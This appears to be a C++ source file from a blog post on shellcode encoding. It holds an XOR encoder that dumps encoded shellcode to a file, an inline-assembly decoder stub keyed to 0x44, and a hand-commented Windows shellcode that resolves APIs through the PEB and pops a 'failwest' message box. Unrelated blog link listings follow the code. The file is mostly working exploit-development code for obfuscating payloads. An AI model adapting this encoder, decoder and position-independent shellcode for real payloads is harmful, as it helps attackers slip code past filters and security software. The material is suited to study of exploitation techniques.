// Encoder.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>

void encoder(char* input ,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
output = (unsigned char *)malloc(len+1);
if (!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if (!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\""); //单引号
for (i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if ((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if (display_flag) //print to screen
{
for (i=0;i<len;i++)
{
printf("%0.2x",output[i]);
if ((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}

void decoder()
{
//==================解码器=================================================
__asm
{
add eax,0x14 //越过,记录Shellcode的起始地址
xor ecx,ecx //ecx寄存器清零
decode_loop:
mov bl,byte ptr[eax+ecx]
xor bl,0x44 //这里用0x44作为Key,如编码的Key改变,这里也要随之改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在Shellcode末尾放上一个字节的0x90作为结束符
jne decode_loop
}
//==================解码器END=================================================
}

char popup_general[]=
"\xFC" //cld
"\x68\x6A\x0A\x38\x1E" //push 1E380A6A
"\x68\x63\x89\xD1\x4F" //push 4FD18963
"\x68\x32\x74\x91\x0C" //push 0C917432
"\x8B\xF4" //mov esi,esp
"\x8D\x7E\xF4" //lea edi,dword ptr ds[esi-C]
"\x33\xDB" //xor ebx,ebx
"\xB7\x04" //mov bh,4
"\x2B\xE3" //sub esp,ebx
"\x66\xBB\x33\x32" //mov bx,3233
"\x53" //push ebx
"\x68\x75\x73\x65\x72" //push 72657375
"\x54" //push esp
"\x33\xD2" //xor edx,edx
"\x64\x8B\x5A\x30" //mov ebx,dword ptr fs[edx+30]
"\x8B\x4B\x0C" //mov ecx,dword ptr ds[ebx+C]
"\x8B\x49\x1C" //mov ecx,dword ptr ds[ecx+1C]
"\x8B\x09" //mov ecx,dword ptr ds[ecx]
"\x8B\x69\x08" //mov ebp,dword ptr ds[ecx+8]
"\xAD" //lods dword ptr ds[esi]
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\x05" //jnz short shellcod.0040D48C
"\x95" //xchg eax,ebp
"\xFF\x57\xF8" //call dword ptr ds[edi-8]
"\x95" //xchg eax,ebp
"\x60" //pushad
"\x8B\x45\x3C" //mov eax,[arg.14]
"\x8B\x4C\x05\x78" //mov ecx,dword ptr ss[ebp+eax+78]
"\x03\xCD" //add ecx,ebp
"\x8B\x59\x20" //mov ebx,dword ptr ds[ecx+20]
"\x03\xDD" //add ebx,ebp
"\x33\xFF" //xor edi,edi
"\x47" ///inc edi
"\x8B\x34\xBB" //|mov esi,dword ptr ds[ebx+edi*4]
"\x03\xF5" //|add esi,ebp
"\x99" //|cdq
"\x0F\xBE\x06" //|/movsx eax,byte ptr ds[esi]
"\x3A\xC4" //||cmp al,ah
"\x74\x08" //||je short shellcod.0040D4B3
"\xC1\xCA\x07" //||ror edx,7
"\x03\xD0" //||add edx,eax
"\x46" //||inc esi
"\xEB\xF1" //|\jmp short shellcod.0040D4A4
"\x3B\x54\x24\x1C" //|cmp edx,dword ptr ss[esp+1C]
"\x75\xE4" //\jnz short shellcod.0040D49D
"\x8B\x59\x24" //mov ebx,dword ptr ds[ecx+24]
"\x03\xDD" //add ebx,ebp
"\x66\x8B\x3C\x7B" //mov di,word ptr ds[ebx+edi*2]
"\x8B\x59\x1C" //mov ebx,dword ptr ds[ecx+1C]
"\x03\xDD" //add ebx,ebp
"\x03\x2C\xBB" //add ebp,dword ptr ds[ebx+edi*4]
"\x95" //xchg eax,ebp
"\x5F" //pop edi
"\xAB" //stos dword ptr es[edi]
"\x57" //push edi
"\x61" //popad
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\xA9" //jnz short shellcod.0040D47F
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x77\x65\x73\x74" //push 74736577
"\x68\x66\x61\x69\x6C" //push 6C696166
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
"\x53" //push ebx
"\xFF\x57\xFC" //call dword ptr ds[edi-4]
"\x53" //push ebx
"\xFF\x57\xF8"; //call dword ptr ds[edi-8] //nop

int main(int argc, char* argv[])
{
encoder(popup_general,0x44,1);
return 0;
}

shellcode加密与解密的更多相关文章

  1. ASP.NET加密和解密数据库连接字符串

    大家知道,在应用程序中进行数据库操作需要连接字符串,而如果没有连接字符串,我们就无法在应用程序中完成检索数据,创建数据等一系列的数据库操作.当有人想要获取你程序中的数据库信息,他首先看到的可能会是We ...

  2. 命令行工具aspnet_regiis.exe实现加密和解密web.config

    命令行工具aspnet_regiis.exe,是一个类似于DOS的命令工具,称之为命令解释器.使用命令行工具加密和解密web.config文件中的数据库连接字符串时,只需要简单的语法命令即可. 加密语 ...

  3. 使用EncryptByPassPhrase和DecryptByPassPhrase对MS SQLServer某一字段时行加密和解密

    在数据库实现加密与解密的文章,Insus.NET较早前也有写过,可以在本博客中可以搜索得到. 今天使用EncryptByPassPhrase和DecryptByPassPhrase来简单实现. 在数据 ...

  4. AES —— JAVA中对称加密和解密

    package demo.security; import java.io.IOException; import java.io.UnsupportedEncodingException; impo ...

  5. 通过ios实现RSA加密和解密

    在加密和解密中,我们需要了解的知识有什么事openssl:RSA加密算法的基本原理:如何通过openssl生成最后我们需要的der和p12文件. 废话不多说,直接写步骤: 第一步:openssl来生成 ...

  6. PHP 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密

    <?php /* 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密 */ // 加密 $algorithm = MCRY ...

  7. iOS,一行代码进行RSA、DES 、AES、MD5加密、解密

    本文为投稿文章,作者:Flying_Einstein(简书) 加密的Demo,欢迎下载 JAVA端的加密解密,读者可以看我同事的这篇文章:http://www.jianshu.com/p/98569e ...

  8. C# 利用SQLite对.DB和.logdb加密和解密和SQLite创建数据库

    1.最近研究了下利用SQLite为db文件简单的加密和解密 private static SQLiteConnection GetConnection() { SQLiteConnection con ...

  9. 如何对web.config进行加密和解密

    http://blog.csdn.net/jf_jifei/article/details/6527390 在WEB网站开发过程中,如果我们将数据库连接字符串封装到.DLL文件中,将会给数据库和程序的 ...

随机推荐

  1. UNP学习第六章(二)

    一.描述符就绪条件 对于引起select返回套接字“就绪”的条件我们必须讨论得更明确: (1)满足一下塞个条件中的仍和一个时,一个套接字准备好读. a)该套接字接收缓冲区中的数据字节数不大于等于套接字 ...

  2. (转)使用OpenGL显示图像(三)绘制Shapes

    绘制形状 编写:jdneo - 原文:http://developer.android.com/training/graphics/opengl/draw.html 在定义了使用OpenGL绘制的形状 ...

  3. php开发面试题---PHP为什么不安全,主要有那些安全问题(整理)

    php开发面试题---PHP为什么不安全及常见的攻击方式(整理) 一.总结 一句话总结: 其实安全和语言关系不大,主要和程序员关系比较大,php也就是因为是弱类型语言,所以不如java健壮,php会遇 ...

  4. Linux v4l2编程(摄像头信息采集)

    基于Linux3.4.2,自己做一点儿视频信息采集及网络传输的小实验,边做边学,一些基础知识同步整理..... 1. 定义 V4L2(Video For Linux Two) 是内核提供给应用程序访问 ...

  5. MySQL 时间戳与日期格式的相互转换(转)

    1.UNIX时间戳转换为日期用函数: FROM_UNIXTIME() select FROM_UNIXTIME(1156219870); 输出:2006-08-22 12:11:10 2.日期转换为U ...

  6. VMware 克隆 CenterOS 虚拟机

    前面介绍了VMware 安装CenterOS 6.9,现在再介绍下 VMware 克隆虚拟机,克隆虚拟机可以快速的创建虚拟机,免去重复安装的烦恼. 一.VMware 克隆 CenterOS 虚拟机 选 ...

  7. jQuery Mobile 自定义导航条图标

    1.jQuery Mobile 自定义导航条图标

  8. 56、salesforce学习笔记(三)

    Date类型 Datetime nowDatetime = Datetime.now(); Datetime datetime1 = Datetime.newInstance(2015,3,1,13, ...

  9. Django框架(二十七)—— ContentType组件

    目录 ContentType组件 一.什么是ContentType组件 二.使用ContentType 三.使用场景总结 ContentType组件 一.什么是ContentType组件 conten ...

  10. 比较全面的CSS hack方式一览

    转载请注明来自CSDN freshlover的博客专栏<史上最全CSS Hack方式一览>   做前端多年,虽然不是经常需要hack,但是我们经常会遇到各浏览器表现不一致的情况.基于此,某 ...